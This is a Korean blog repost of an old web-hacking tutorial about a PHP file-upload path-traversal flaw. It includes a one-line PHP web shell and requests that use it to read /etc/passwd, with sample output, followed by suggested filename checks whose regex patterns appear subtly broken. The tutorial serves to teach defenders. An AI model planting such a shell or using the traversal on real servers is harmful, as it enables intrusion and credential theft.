PHP언어 웹개발 서버관리 DB관련 모바일 Mac세상 USA에서 살아남기 블로그
Web/WEB기본2008. 1. 23. 15:34

반응형
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/

7) file upload 알고리즘 시의 주의할점 -4-

이번 주제는 Web CGI Board 에서 File Upload 시의 취약성에 대해서 알아보겠다. 벌써 file upload 관련 글이 4 개나 나왔는데 이 것으로 보아 Cracker 가 가장 좋아하는 것중 하나가 File Upload 라는 것은 확실하다.

그만큼 취약점이 나왔는데도 이번에는 어떠한 취약점이 나올까.
이번 역시 File 을 Upload 할때의 이름과 관계가 있다. 어떻게 보면
이번 버그는 개발자가 알고리즘을 짤때의 취약성은 아니고, php 에서
처리하는 방식에 따라서 문제가 있다.

우리가 파일을 올릴때는 보통 다음과 같은 형식으로 올리게 된다.
다음과 같은 File Upload 폼이 있다고 하자.

그리고 file 이름에 다음과 같이 적어서 Send 버튼을 누르자.

c:upload est.txt

write_ok.php 의 소스는 다음과 같다.

write_ok.php
echo "in_file = $in_file";
echo "in_file_name = $in_file_name";
echo "in_file_size = $in_file_size";
echo "in_file_type = $in_file_type";
?>

소스만 보고도 위의 Script 가 무엇을 하는지 알 수 있을 것이다. Send 버튼을 누르면 결과는 다음과 같이 나온다.

in_file = /tmp/phpO3EWtg
in_file_name = test.txt
in_file_size = 20
in_file_type = text/plain

보다시피 $in_file_name 에는 c:upload 가 짤린 상태이다. 그러면 php 에서는 어떤 기준으로 in_file_name 을 구하는 것인가? 사용자가 입력한 file name 에서 Escape 문자로 구별한다. Escape 가 맨 마지막으로 쓰인 곳에서 뒤의 문자열들을 $in_file_name 으로 보는 것이다.

여기에는 심각한 Security Hole 이 있다.

가령 다음과 같은 File Name 을 주고 File 을 올렸다고 생각하여 보자.

c:uploada../test.txt

위 File path 의 뜻을 굳이 해석하자면 다음과 같다. c:uploada 디렉토리에서 한번 상위디렉토리로 이동한 후 test.txt 파일을 말한다. 결과적으로 이것은 c:upload est.txt 이다.

하지만 위에서 설명했듯이 php 에서는 Escape 가 맨 마지막으로 쓰인 곳에서 뒤의 문자열들을 in_file_name 으로 생각한다. 그래서 서버에 저장되는 $in_file_name 은 ../test.txt 가 되는 것이다. 물론, Client 에서의 이 파일은 c:upload est.txt 이므로 아무런 이상 없이 Upload 가 된다.

만약 다음과 같은 소스가 있다고 하자.

1 2
3 /* 생략 */
4
5 if($in_file_name)
6 {
7 if($in_file_size == 0)
8 {
9 echo "모양 파일 크기 0 이양";
10 exit;
11 }
12}
13
14 if($in_file != "none" && $in_file)
15 {
16
17 $exist = file_exists("data/$in_file_name");
18
19 if($exist)
20 {
21 echo "동일한 파일이름이 이미 존재합니다.";
22 exit;
23 }
24
25 if(!copy($in_file, "data/$in_file_name"))
26 {
27 echo "파일 저장 실패! 다시 올리라.";
28 exit;
29 }
30
31 chmod("data/$in_file_name", 0444);
32
33 unlink($in_file);
34 }

/* 생략 */

?>

그리고 httpd.conf 에서 data 디렉토리 밑에 있는 File 들은 Web 을 통해서는
읽지 못하도록 다음과 같이 설정을 하였다고 가정한다.

AddType application/x-httpd-php-source .phps .php .ph .php3 .cgi .sh .pl
.html .htm .shtml .vbs .ins .inc .py

Options FollowSymLinks
AllowOverride None
Order allow,deny
Deny from all


이렇게 되면 hacking.php 같은 악의적인 파일을 서버에 올린다고 하여도 Web 에서
읽게 되면 Forbidden 이 나오므로 서버에 명령을 실행 할 수 없게 된다.

hacking.php
passthru($beist);
?>

[요청]
http://server/data/hacking.php?beist=cat /etc/passwd

[결과]
Forbidden

You don''t have permission to access /data/hacking.php on this server.

그러면 Cracker 는 hacking.php 를 올리고, 이를 올바르게 실행시키기 위해서는 data Directory 는 피해서 올려야 한다. 먼저 사전 조사를 통해서 Web Directory중 Web Server UID 에게 퍼미션이 열려있는 Directory 를 찾아서 그 Directory에 올리기로 하고, 퍼미션이 열려있는 Directory 의 이름은 conf 라고 가정한다.
(퍼미션이 열려있는 Directory 에 대해서 조사하는 방법은 생략하겠다. 이 것의 방법은 정적이지 않은, 동적이고 즉 Cracker 의 노하우 같은 것이다.)

물론,

c:uploada../hacking.php

이런 이름으로 서버에 올리면 /home/httpd/html/data Directory 가 아닌 /home/httpd/html Directory 에 올라가게 될 것이지만, /home/httpd/html/conf Directory 를 따로 지정하는 이유는 다음과 같다. 첫째, 보통 /home/httpd/html Directory 는 WebServer UID 가 write 할 퍼미션이 열려있지 않고 둘째, 상위 Directory 만이 아닌 Cracker 가 원하는 Directory 로 File 을 올리는 방법을 설명하기 위해서이다.

먼저 실제로 Computer 에 다음과 같은 File 과 경로를 만든다.

c:uploadconfhacking.php

그리고 Upload 할때의 이름을 다음과 같이 고친다.

c:uploadconf../conf/hacking.php

위 File Path 를 풀이해보자. c:uploadconf 디렉토리에서 한단계 위로 올라간후
conf/hacking.php 를 뜻한다. 결국 위에서 말했듯이 php 에서는 $in_file_name 을 맨 마지막으로 쓰인 Escape 문자 뒤의 문자열들로 보니까 서버에 저장되는 $in_file_name 은 ../conf/hacking.php 가 될 것이다.

그러면 write_ok.php 에서 실제로 행해지는 copy Function 은 다음과 같이 행해질것이다.

copy($in_file, "data/../conf/hacking.php")

[요청]
http://server/conf/hacking.php?beist=cat /etc/passwd

[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

해결책을 알아 보자

이 문제점에 대한 근본적인 해결점은 아직까지 없는 것 같다. 약간은 이상한 버그이기도 한데, 막을 방법은 있다. $in_file_name 변수의 값 중에 이상한 문자가 있는지 확인하는 것이다.

if(eregi("..", $in_file_name))
{
echo "file name 에 .. 가 들어갈 수는 없습니다.";
exit;
}

if(eregi("/", $in_file_name))
{
echo "file name 에 / 가 들어갈 수는 없습니다.";
exit;
}

if(eregi("$", $in-file_name))
{
echo "file name 에 이상한 문자가 들어있군요.";
exit;
}

더 완벽한 방법을 원한다면, Web Directory 의 열려있는 퍼미션을 체크하고, 불필요하다면 없앤다. 필요한 디렉토리는 httpd.conf 에 Web 에서 File 을 읽을 수 없게끔 설정을 한다. (Download 같은 것은 php File 에서 읽은 후 사용자에게 뿌려주는 방법등 여러가지가 있다. 이 방법에 대한 것은 12 번 장을 참조하라)


출처 - 코드랜드
출처 : http://dual5651.hacktizen.com/tt/entry/웹해킹-시리즈-7-file-upload-알고리즘-시의-주의할점-4 
반응형
도움이 되셨다면 하트모양의 "♡ 공감"을 눌러주시면 큰 격려가 됩니다.
(로그인하지 않으셔도 가능)
Posted by saltdoll

댓글을 달아 주세요